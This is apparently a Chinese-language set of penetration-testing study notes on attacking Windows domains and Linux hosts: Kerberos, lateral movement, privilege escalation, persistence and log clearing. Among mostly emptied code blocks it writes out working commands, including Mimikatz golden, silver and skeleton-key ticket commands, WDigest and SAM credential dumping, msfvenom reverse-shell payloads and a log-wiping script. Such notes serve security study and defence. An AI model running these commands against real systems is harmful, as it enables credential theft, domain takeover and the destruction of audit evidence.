内网渗透
渗透
基础知识
UAC
安全选项中的“以管理员批准模式运行所有管理员”
LocalAccountTokenFilterPolicy
权限
Administrator和本地管理员都属于administrator组,但是由于UAC,本地管理员部分命令需要使用“以管理员身份运行”
System权限大于Administrator,部分注册表需要System
本地无法查询组信息的时候可以用Incognito获取System
密码相关
Ntds.dit:域控下才有,包含域用户,组合组成员,凭据,gpp,被注册表下的密钥对加密的用户hash(破解需要导出system.hive文件)等信息,位于%SystemRoot%\ntds\ntds.di
sam:工作组环境中存储用户密码
ntdsutil :卷影拷贝服务工具,建立以上被windwos锁定的二者的快照以后面抓取
NTFS:微软专用的文件系统
DCSync:通过域同步服务的GetNCChanges接口获得完整的域用户Hash列表。
所有dump密码都是围绕着
- Lsass内存Dump
- NTDS文件解密
- 域同步获取hash
LM Hash
结构 username:RID:LM-HASH:NTLM-HASH:LM Hash:DES,
如果要停止使用 LM Hash,将用户的密码设置为 14 位以内, “ab35454a3435451404046” (表示 LMHash 为空值或被禁用)。
2008 开始默认禁用,个人版从 Windows Vista 以后,服务器版从 Wndows Sever 2003 后使用 NTLM Hash
身份认证
SPN
将服务实例和服务登录账号关联起来,
KB2871997
WindowsServer 2012 R2
建立了ProtectedUsers组,强制使用kerberos验证,引出了PTK,但是该补丁并不限制域内用户,一般只在域内无法PTH的时候考虑
kerberos
内网渗透之kerberos协议学习及攻击方法总结 · HacKerQWQ’s Studio
(走kerberos协议的时候必须通过域名去连接)
对于域内账户
1.当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份(Clinet hash加密的时间戳),验证通过后 AS 会发放一个 (krbtgt hash加密)的TGT
2.随后 Client 再次向 TGS 证明自己的身份(解密TGT验证),验证通过后获得 TGS (也就有了ST)
3.最后Client用TGS去请求服务,解密成功时服务得到PAC,发送到KDC检查Client是否有相应权限
这个过程分为三块:
Client 与 AS 的交互,
Client 与 TGS 的交互,
Client 与 Server 的交互。
黄金票据是伪造 TGT,白银票据则是伪造 ST
一个获得通用的身份,一个获得访问服务的权限
LocalAccountTokenFilterPolicy
组环境下,Windows Vista
以后的操作系统中,注册表中默认没有这个值,当administrator之外的用户连接护得到删除管理员凭证的令牌导致无法连接
1 |
|
通过以上命令添加
网络通信
两台计算机间的通信,其实是两台计算机中应用程序(进程)与应用程序(进程)间的通信。但“IP 地址”仅能定位到计算机,如何定位到应用程序(进程)呢?答案是“协议 + 端口”。
如果你对同源策略有所了解就能马上反应过来,这就是 IP + 协议 + 端口
Socket 就是一个类,封装了许多功能函数,当需要建立连接进行通信时,它会先进行初始化,然后通过内置的功能函数建立连接并完成通信(打开、读/写 IO、关闭),其中就包含了 TCP 的三次握手。
正向代理和反向代理本质上并无区别,正向代理即客户端代理,代理客户端,服务端不知道实际发起请求的客户端。反向代理即服务端代理,代理服务端,客户端不知道实际提供服务的服务端。
正向代理可以隐藏用户的信息,并能够将其作为跳板访问我们无法访问的资源,如翻墙。反向代理可以隐藏服务器的信息,保障了内网的安全,同时能够用来实现负载均衡。(负载均衡也是防御 DOS 攻击的一种方式),对于反向代理而言,客户端不知道请求的目标主机真正 ip
在地址转换与端口映射中,静态NAT
是路由器上手动配置,一个内网地址和一个公网地址相关联,一一对应。动态NAT
是路由器上配置一个公网 IP 地址池,当内网地址访问外网时从地址池里获取公网 IP 进行映射。当公网 IP 地址池分配完时,只能等待被占用的公网 IP 被释放后,其他主机才能获取公网 IP 访问公网。这种将源地址进行转换的方式也可称之为 SNAT(源地址转换)。NAPT 网络地址端口转换
是允许多个内网地址映射到同一个公网 IP 的不同端口。这种将源地址和端口进行转换的方式也可称之为 SNAPT(源地址端口转换)。
端口转发,有时被叫做隧道,是安全壳(SSH)为网络安全通信使用的一种方法。在内网中,是没有办法直接访问外网的。但是我们可以通过路由器的 NAT 方式访问外网。
内网穿透是当想要访问内部网络但又没有权限去操作防火墙做端口映射的情况的时候,就需要搭建一条隧道来做端口转发和流量转发。
正向 socks:当一个机器同时存在内外网 IP 时就能在外网通过正向连接去访问其它内网机器,而且这里跳板机就相当于正向代理。因为对于攻击者来说它是可知的,而对于内网机来说,它们并不知道它们返回给跳板机的响应又被发送给了攻击者。
反弹 socks:当目标机器没有公网 IP,但可访问内网资源时。攻击者可以在内网跳板机上运行 EarthWorm 使其反弹到某台对外连接的内网服务器上,然后攻击者再通过外网连接到对外服务器进而进入到内网中。这里公网服务器既是正向代理也是反向代理。对于攻击者来说它是可知的,因为我们要通过它访问我们无法访问的资源;对于内网服务器(跳板机)来说它也是可知的,因为我们是在内网服务器(跳板机)上执行的反弹命令,使其反向连接到公网服务器上。而内网服务器(跳板机)在这里充当的仅是公网服务器的正向代理,因为它对于公网服务器来说是可知的,而对于其他内网机来说则是不可知的。
主机用户:活动目录中的主机,也叫机器用户
服务账户:将服务运行起来并加入域时用到的账户,例如 mysql 账户
委派
将域内用户账户的权限给予服务账户
非约束性
服务用户获得了用户的 TGT,获得了该用户所有的访问权限
1.域控默认配置
2.需要 SeEnableDelegationPrivilege 特权,该特权默认仅授予域管理员和企业管理员
约束性
只获取了 ST,只能访问特定服务
分类
- 仅使用 Kerberos,不能进行协议转换
- 使用任何身份验证协议
基于资源的约束性
嗅探
利用广播和 respondor
windows 解析主机名:查看本地 hosts 查看 DNS 缓存和服务器 利用 LLMNR 或者 netbios
当内网中没有 dns 协议的时候,广播协议降级为 LLMN2 或者 netbios
可以构造一个 scf 恶意文件,触发降级的广播协议,respondor 截取到 ntlm hash
基本流程
打点拿下跳板机
net user /domain 确认位置,寻找存活主机
提权,提取 hash
横向移动,拿下更多机子以及定位 dc 位置
提权域管,拿下 dc 后提前
PTT 维权,清理日志
信息收集
外网部分
whois查询
备案号
c段 旁站
1
2c段:可以通过在线网站记录或者暴力扫描
旁站:同一服务器但是不同站点,需要定位资产,在线网站查询绕过CDN查真实ip
首先cc.chinaz查CDN供应商
然后历史记录,多地区ping等绕过
二级域名
爆破,dns解析…
数字证书
crt.sh
商业信息:企查查..
社交媒体,用户名,邮件收集..
rocketreach
sherlock,maigre,whatsmyname.app
hunter.io,phoneboock.cz,omail.io,skymem.info
源码查询
gitdocker,searchcode
密码泄露
intelx.io(文件),cirt.net,default-password.info,routerpasswords(设备),
网站架构:服务器版本,中间件,框架,数据库版本,waf
判断靶标系统
大小写
windows 不敏感
TTL
Ping windows 一般 ttl 大于 100
脆弱端口
linux
• 网络链接、进程、计划任务、凭证信息(shadow、私钥)、命令记录、管理员来源、hosts文件
• 用户目录、opt目录、根目录
• *.history (.bash_history .mysql_history)
• /proc/self/*
• env
windows
localgroup administrators 本地管理员
domain admins 域管理员
1 |
|
• 网络链接、进程、凭证信息(hash、明文)、管理员来源、用户信息、组信息、共享
• 用户目录、 downlaod、desktop、document、recent
• 程序目录 ProgramData 、appdata(roaming、local)
• Wmic 命令系列
• Net 命令系列
• %windir%\system32*.exe
隧道搭建
https://www.freebuf.com/articles/web/269523.html
https://xz.aliyun.com/t/12498?time__1311=mqmhD5AKYKBKDKG%3DD%2FzTy8%3D8E54Qq%2BD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-2
分类
frp、ew、ssh、Neo-reGeorg、netsh、Lcx
网络层:Ipv6 情况、icmp 情况、Gre 隧道
传输层:Tcp 隧道、udp 隧道 常规端口转发
应用层:ssh 隧道、http 隧道、https 隧道、dns 隧道
检测
TCP/UDP 协议:nc -zv nc -zvu(u 为 udp)
HTTP 协议: curl wget
ICMP 协议: ping
DNS 协议: nslookup 或者 dig @ip
搭建
ICMP 隧道
Pingtunnel:将 tcp/udp/sock5 流量伪装为 icmp
服务器上开启服务
1 |
|
客户端上连接服务器
1 |
|
1 |
|
DNS 隧道
dnscat2,原理:将数据通过 DNS 协议传输,需要一个独立的子域名通信,需要配置子域名后开放 udp,tcp53 端口,添加 A 记录和 NS 记录
SSH 隧道
本地端口转发
1.修改攻击机和跳板机 ssh 配置
1 |
|
1 |
|
1 |
|
1 |
|
远程端口转发
1 |
|
动态转发
SOCKS 隧道
HTTP 隧道
横向移动
https://mp.weixin.qq.com/s/Cn0RcDgymcXpYsIacqJqmA
端口分类
135:rpc协议(远程过程调用)支持wmi(windwos管理接口)
wmic /node:172.18.2.44 /user:"user" /password:"pass" process call create "cmd.exe /c whoami“
日志少,配合wmihacker等工具
139/445:SMB协议:开启ipc$共享
1 |
|
直接配合psexec,atexec,smbexec
atexec:明文密码或hash,计划任务
psexec:admin$共享,写文件执行服务
psexec.py: 同上 可交互
smbexec:明文密码或hash,服务
5985:WinRM(windwos远程管理)协议
winrs -r:172.18.2.44 -u:localhost\administrator -p:p@ssw0rd ipconfig
内网横向下的135,445与5985端口利用 - 先知社区 (aliyun.com)
其中dcomexec, wmiexec,crackmapExec同时利用了135和445与admin$共享,他们通过smb回传结果
用户名枚举
利用 AS-REQ 包错误代码
kerbrute msf(kerberos_enumusers)
密码喷洒
获得密码后攻击不同用户
CrackMapExec kerbrute msf(smb_login)
防护:事件 ID 为 4768 且结果代码为 0x0 的审核成功的 Kerberos 身份验证服务事件日志
AS-REP Roasting
关闭 kerberos 预身份验证,
向域控 88 端口请求票据(GetNPUsers rubeus ASPERoast.ps1 Adfind)
本地离线爆破(john hashcat)
防护:
- 取消勾选“不要求 kerberos 预身份认证”选项
- 重点关注事件 ID 为 4768 且预身份验证为 0 的日志
Kerberoasting
获取 ST 后爆破 hash
普通默认机器可以注册 spn,但是普通域用户需要权限,攻击需要域内用户,所有用户都可以查询 spn
服务实例(SPN)会绑定用户,攻击者拿到服务实例NTLM hash加密的ST,然后ST爆破得到用户的密码
1.获取 SPN(ServicePrincipal Names)服务主体名称(RiskySPN GetUserSPNs PowerView setspn)
2.请求服务票据(impacket.GetUserSPNs,Rubeus,POWERSHELL)
3.导出(cmd.Klist,kerbero,mimikatz,Empire)
4.破解(kerberoast hashcat)
防护:
- 确保服务账户和密码为强密码
- 对域内服务账户权限进行限制
- 关注日志事件 ID 为 4769 的日志
委派
主机用户:活动目录中的主机,也叫机器用户
服务账户:将服务运行起来并加入域时用到的账户,例如 mysql 账户
委派:将域内用户账户的权限给予服务账户
查询:Powershgell 脚本,Adfind,Ldapsearch
非约束委派:userAccountControl属性会包含TRUSTED_FOR_DELEGATION
可以配合spooler漏洞,利用MS-RPRN强制运行域控通过kerberos去连接开启了非约束委派的机器
NTLM RELAY(嗅探)
responder 嗅探流量
受害机器查询不存在的主机名称后抓到 hash
配合 srf 文件
打印机
域内任意用户访问目标机器的打印服务,printerbug.py 脚本会触发 SpoolService Bug,强制目标主机 AD 通过 MS-RPRNRPC 接口对攻击者进行 NTLM 身份认证。
1 |
|
petitPotam
重放
利用以上手段获取到 ntlm hash 后 暴力破解之外可以使用中继的方式共计其他服务
SMB
工作组:
1 |
|
域环境:
1 |
|
还有 http ldap 等
IPC
利用条件
启动默认共享
用户账密
打开 445,139
基础利用
(查看目录和杀软)
1 |
|
计划任务
at
1 |
|
Schtasks
创建计划任务
1 |
|
Mimikatz
PTH
windows servers 2012 R2之后,系统默认安装KB2871997,本地管理员组中只有administrator可以传递(FilterAdministratorToken注册表为0)
hash 传递到其他机子上,通过 445(SMB 文件共享端口)和 135 端口(RPC 服务共享)横向
CrackMapExec,MSF(SMB/PSEXEC),impacket-smbexec
1 |
|
获取 hash
Mimikatz, msf(hashdump | windows/gather/smart_hashdump) cs sam 表
prodump (微软自带,抓取 lsass 后本地处理)
通过 SAM 和 System
1 |
|
1 |
|
powershell
1 |
|
lsass.dmp
导出:
任务管理器
procdump
1 |
|
mimikatz
1 |
|
Wdigest 明文抓取
1 |
|
调整为 1 后重启即可查看明文密码(权限维持可用)
黄金票据
知识点
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个 Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的 NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和 Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过 AS 验证,不用验证账户和密码,所以也不担心域管密码修改。
条件
需要伪造的域管理员用户名
完整的域名
域 SID
krbtgt 的 NTLM Hash
信息收集
1 |
|
1 |
|
1 |
|
生成票据
mimikatz.exe “kerberos::golden /admin:systest /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /krbtgt:39601ebdad1d3e960ed3712398d3ab3a /ticket:ticket.kirbi” exit
1 |
|
注入
1 |
|
白银票据
知识点
在 Kerberos 认证的第三步,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。 —> 通过 Server 用户 Hash 伪造一个 ST
条件
域名
域 SID(test)
目标服务器的 FQDN
可利用的服务
服务账号的 NTLM Hash
要伪造的用户名
信息收集
1 |
|
生成票据
kerberos::golden /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /target:xiyou.xiyou.dayu.com /service:cifs /rc4:f5369b5accc878d9eedfcde13578e2fc /user:testw /ptt
1 |
|
由于白银票据不与KDC交互,并不要求dns远程解析,socks环境下黄金票据无法远程dns解析会导致NTLM认证失败
RDP 协议
① 查询注册表确定是否主机开启了远程桌面
1 |
|
② 开启远程桌面
1 |
|
③ 关闭“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”(鉴权)
1 |
|
④ 设置防火墙策略放行 3389 端口
1 |
|
RDP Hijack
Windows 系统下,tscon 可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但通过特殊的利用方法能够绕过验证,不输入密码实现未授权登录。
可以通过 query user
来列出所有登录的用户列表,得到 id
在 SYSTEM 权限下,使用 tscon <ID>
来切换用户不需要验证密码。
sharp RDP
sharp rdp 可以通过远程桌面协议在远程主机上执行系统命令,且不需要 GUI 客户端。
工具需要远程主机开启远程桌面功能,且防火墙放行 3389 端口
WMI
windows 自带一个工具集,默认不产生日志
WMI(Windows 管理规范)是一项核心的 Windows 管理技术。用户可以通过 WMI 管理本地和远程主机。
Windows 为传输 WMI 数据提供了两个可用的协议:分布式组件对象模型(DCOM)和 Windows 远程管理(WinRM)使得 WMI 对象的查询、事件注册、WMI 类方法的执行和类的创建等操作都能远程运行。
利用方法
- 通过调用 WMI 的类方法进行远程调用,如 Win32_Process 类中的 Create 方法可以在远程主机上创建进程,Win32_Product 类的 Install 方法可以在远程主机上安装恶意的 MSI
- 远程部署 WMI 事件订阅,在特定事件发生时触发
条件
1.远程主机的 WMI 服务为开启状态(默认开启)
2.远程主机防火墙放行 135 端口,这是 WMI 管理的默认端口
利用步骤
1.通过 WMI 查询远程主机上运行的进程信息
1 |
|
2.创建远程进程
通过调用 Win32_Process.Create 方法在远程主机上创建进程,启动 CMD 来执行命令
由于 WMIC 在执行命令时没有回显,因此可以将执行结果写入文件,然后通过别的方式读取文件
1 |
|
3.远程安装 MSI 文件
通过调用 Win32_Product.Install 方法,可以控制远程主机安装恶意 MSI 文件,从而获得权限
1 |
|
SMB 横向
SMB(服务器消息块),又称 CIFS(网络文件共享系统),主要功能是使网络上的计算机能够共享计算机文件、打印机、串行端口和通信等资源。
客户端与服务器建立连接后,客户端可以向服务器发送 SMB 命令允许用户访问共享、打开、读取或者是写入文件。
SMB 消息一般使用 NetBIOS 协议或 TCP 发送,分别使用端口 139 或 445,目前倾向于使用 445 端口。
利用条件
- 445 端口开放
- 知道账号密码
利用步骤
1.建立 IPC 链接,psexec 需要明文或 hash 传递
1 |
|
2.或者不用建立 IPC 直接提供明文账户密码
1 |
|
MS14-068攻击
MS14-068 基于漏洞,造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。
Windows 域中使用 kerberos 协议过程中,为了让服务器判断 Client 是否有权限访问服务,微软在 Windows 平台上在 Kerberos 协议中增加了 PAC(Privilege Attribute Certificate)特权属性证书,也就是这个 PAC 造成了 MS14-068 这个漏洞。
PAC 是用来验证 Client 的访问权限的,它会被放在 TGT 里发送给 Client,然后由 Client 发送给 TGS。
漏洞允许经过身份验证的用户在其 Kerberos 票证(TGT)中插入任意的 PAC(表示所有用户权限的结构)。该漏洞位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了 PAC 的 Kerberos TGT 来获得票证,进而伪造票据获得管理员权限。
条件
1. 域内任意用户 SID
2. 域内任意用户密码
攻击流程
1. 获得一个域用户 douser 的 SID
1 |
|
2. 上传工具 ms14-068.exe,并执行命令生成 TGT 票据
1 |
|
3. 上传 mimikatz,利用 mimikatz 将票据注入到当前内存中伪造凭证
1 |
|
4. 使用 net use 进行登录或者使用 psexec,wmi 等方法进行远程执行命令
1 |
|
5. 上传一个正向的 msf 马,并将该木马 copy 到域控上去执行
1 |
|
6. 通过 sc 远程对域控创建服务来启动木马
1 |
|
其他
PsExec
起初用于运维,基本原理是通过管道在远程目标机器上创建一个 psexec 服务,并在本地磁盘中生成一个名为“PSEXESVC”的进制文件,通过 psexec 服务运行命令,运行结束后删除(大量日志)
Pth-winexe
smbexec
提权
Linux
uid 提权
(find / -perm -u=s -type f 2>/dev/null)
1.常规
- Nmap
- Vim
- find
- Bash
- More
- Less
- Nano
- cp
2.strings/strace 追踪调用函数配合共享库注入/修改 path 劫持
bash<4.2 路径组合自定义函数
bash<4.4 环境变量劫持
sudo 提权
git help config (!/bin/bash 或者 !’sh’)完成提权
编写如下一个c文件
内核提权
自动任务提权
常规修改 sh 文件,相对路径劫持,配合 sh 文件内的命令
例如会自动执行/usr/loca/bin/aaa.sh
但是可以创建一个/home/user/aaa.sh劫持
docker 提权
Passwd/shadow 提权
shadow 解密或者手动生成 passwd/shadow 密文
NFS 提权
windows
POTATO
核心是利用COM类,捕获并修改NTLM认证数据包
需求
- 获取到高权限的 token
- 当前账户拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 权限
一般是给到本地管理员和本地服务账户,两个权限的本意是让高权限服务模拟低权限客户端来操作
Origin
LLMNR/NBNS投毒
Rotten & Juicy
通过DCOM call让服务向攻击者监听端口发放NTLM认证,拿到NTLM后启动新进程
PrintSpoofer
利用了spoolsv.exe服务的RPC服务中传递\\127.0.0.1/pipe/foo会解析为主机名后链接
RoguePotato
SweetPotato
系统漏洞提权
通过 Webshell 命令行执行 systeminfo 命令查看系统是否打了提权补丁,可使用 exp 进行提权
通过 Webshell 找网站读写执行目录,把 cs 马或提权 exp 上传到对方服务器(如果 cmd 无法执行命令可单独上传 cmd.exe 到对方服务器,菜刀终端设置为 setpc:\XXX\cmd.exe)
1 |
|
exp 在线查询
https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/
组策略首选项
SYSVOL 是 AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL 包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为 SYSVOL 能在所有域控里进行自动同步和共享。
路径为:\
然后用kali#gpp-decrypt破解
组策略偏好 GPP
win2008 发布了 GPP(Group Policy Preferences),其中 GPP 最有用的特性,是在某些场景存储和使用凭据,其中包括:映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地 Administrator 密码
为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,造成了即使不知道密码的情况下也能修改组策略首选项的密码,也可以通过脚本破解组策略首选项文件中密码的漏洞。
1 |
|
Bypass UAC
1 |
|
操作系统配置错误
管理员凭证配置错误
服务配置错误
故意削弱的安全措施
用户权限过高不带引号的服务路径
1 |
|
其他
- sc 命令提权(administrator–>system)
例如:sc Create syscmd binPath= “cmd /K start” type= own type=interactsc start systcmd
就得到了一个 system 权限的 cmd 环境
不带引号的服务路径
当服务路径带空格的时候,路径空格目录前面一断就会当作文件执行,如
C:\ProgramFiles\MSBuild
这个目录,攻击者只要在 c创建名为
Program.exe
的木马,最后只要系统重启就会执行C:\Program.exe
文件。不安全的服务权限提升
由于管理配置错误,用户可能对服务拥有过多的权限,例如用木马替换服务调用的默认文件。
数据库提权
访问令牌提权
权限维持
Linux
预加载型动态链接库后门
strace 后门
SSH 后门
SUID 后门
inetd 服务后门
协议后门
vim 后门
PAM 后门
进程注入
Rootkit
端口复用
windows
替换系统文件类(shift 后门,放大镜后门)
修改注册表类
自启动项、屏幕保护程序注册表、用户登陆初始化、登录脚本、映像劫持、影子账户、AppCertDlls 注册表项、AppInit_DLLs 注册表项、文件关联、用户登陆初始化、xx.Netsh Helper DLL
文件类
自启动文件夹、office Word StartUp 劫持
计划任务
schtasks 、WMI、bitsadmin
域后门
常见域后门技术总结与分析利用 - FreeBuf网络安全行业门户
Skeleton key
注入lsass.exe进程实现‘万能密码’,重启后失效
mimikatz.exe “privilege::debug” “misc::skeleton” exit # 密码为 mimikatz
DSRM
在域控上,DSRM 账户实际上就是本地管理员账户(Administrator),并且该账户的密码在创建后几乎很少使用。通过在域控上运行 NTDSUtil,可以为 DSRM 账户修改密码
1 |
|
#痕迹清理
windows
1.查看事件日志 run event_manager -i
2.删除事件日志 run event_manager -c
3.clearv 命令清除目标系统的事件日志。
清除命令历史记录
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用 vim 打开文件执行命令
:set history=0
:!command
linux
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录 UUCP 和 news 设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:
cat /dev/null > filename
: > filename
filename
echo “” > filename
echo > filename
针对性删除日志文件:
删除当天日志
sed -i ‘/当天日期/‘d filename
一键清除脚本:
!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
Linux
Windows
工具使用
dirsearch
1 |
|
MSF
https://blog.csdn.net/weixin_45588247/article/details/119614618
https://www.anquanke.com/post/id/164525
基础概念
其中:meterpreter 组件(stage)是一种基于内存 DDL 注入的后渗透工具
模块分类
Auxiliary 扫描器
攻击载荷和编码
这里利用 msfvemon 来替代
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=
LPORT= -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT= -f exe > shell.exe
-p 指定 payload
-e 编码器
-i 迭代器
-f 输出格式
POST 后渗透
使用流程
基础使用
这个就不多写了
后渗透(windows)
一.创建会话
https://blog.csdn.net/weixin_44823747/article/details/110056175
1.通过-l 参数来查看可以生成的 payload
其中可以分为三类,二进制文件,webshell 和脚本 shell
2.反弹 shell 建立如下
1 |
|
然后运行 exploit/multi/handler 监听模块并且在靶机上运行脚本即可
3.cmdshell–>meterpreter
sessions 查看会话类型,如果是 cmdshell 可以选择输入 session -u id 来升级 然后 sessions id 进入会话
收集信息
1 |
|
二.提权
1.绕过 UAC
这里输入 background 挂起会话,使用 MSF 中的模块直接进行提权,在会话中输入 getsystem 即可
2.系统漏洞
三.进程迁移
将 msf 和进程进行绑定来降低被杀的概率
1.查看进程 getpid
2.查看正在运行进程 ps
3.绑定 migratepid id
四.令牌假冒
令牌:windows 提供的一个类似于 cookies 的功能,用来分辨用户身份,如果域管理员登陆过这个终端,那可以直接假冒域管理员
1 |
|
五.获取凭证
在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者 hash,再尝试登录内网其它服务器
1 |
|
六.端口转发
portfwd
portfwd -l 本地端口 -r 内网 ip -p 内网端口
pivot
1.添加路由表 route add 内网 ip 子网掩码 sessionid (route print 查看)
2.socks 代理
七.后门
metsvc(服务启动)
persistant
Nmap
1 |
|
四扫:(sn 扫主机)
半开扫端口-sT –minrate 10000 -p-
udp 扫端口 -sU -p-
扫详细(服务版本,默认脚本,系统版本) -sT -sV -sC -O -p
漏洞扫描 –scipt=vulnW
nmap 默认使用-sS 只发送 syn 标志位进行扫描,快但是不如-sT 准确,同时 S 容易受到防火墙过滤不完整的包
SQLmap
1 |
|
wireshark
1 |
|
Mimikatz
明文密码
原理是抓lsass.exe的内存
提升权限 privilege::debug
抓取密码 sekurlsa::logonpasswords
win10与2012R2后启动密码保存在内存中
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
sam表抓hash
利用sam表
导出SAM数据 reg save HKLM\SYSTEM SYSTEM reg save HKLM\SAM SAM
使用mimikatz提取hash lsadump::sam /sam:SAM /system:SYSTEM
不落地
1 |
|
1 |
|
1 |
|
PTH
DCSync抓hash
模拟dc跨域同步获取数据
1 |
|
弹 shell
reg 上传去正向连接。或探测出网协议,如 dns,icmp